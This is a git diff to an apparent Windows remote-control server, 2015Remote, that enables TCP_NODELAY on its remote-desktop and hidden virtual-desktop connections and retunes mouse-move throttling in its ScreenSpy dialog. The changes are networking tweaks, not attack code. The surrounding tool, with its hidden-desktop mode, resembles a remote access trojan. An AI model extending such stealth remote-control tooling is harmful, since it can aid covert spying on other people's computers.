diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 35a8159..cdce259 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2573,6 +2573,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】 + ContextObject->SetNoDelay(TRUE); g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject); break; } @@ -2597,6 +2598,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) break; } case TOKEN_BITMAPINFO: { // 远程桌面【x】 + ContextObject->SetNoDelay(TRUE); g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject); break; } diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 85e8ce9..d296b6e 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -805,7 +805,11 @@ VOID CScreenSpyDlg::SendCommand(const MYMSG* Msg) int dx = abs(Msg->pt.x - m_lastMousePoint.x); int dy = abs(Msg->pt.y - m_lastMousePoint.y); int dist_sq = dx * dx + dy * dy; - if (time_elapsed < 200 && dist_sq < 18 * 18) { + + bool fastMove = dist_sq > 50 * 50; + int minInterval = fastMove ? 33 : 16; + int minDistSq = fastMove ? 10 * 10 : 3 * 3; + if (time_elapsed < minInterval && dist_sq < minDistSq) { return; } m_lastMouseMove = now; diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index 66f7695..b2f23c2 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -693,6 +693,10 @@ public: { GroupName = group; } + void SetNoDelay(BOOL bNoDelay = TRUE) + { + setsockopt(sClientSocket, IPPROTO_TCP, TCP_NODELAY, (char*)&bNoDelay, sizeof(BOOL)); + } } CONTEXT_OBJECT, * PCONTEXT_OBJECT; typedef CList ContextObjectList;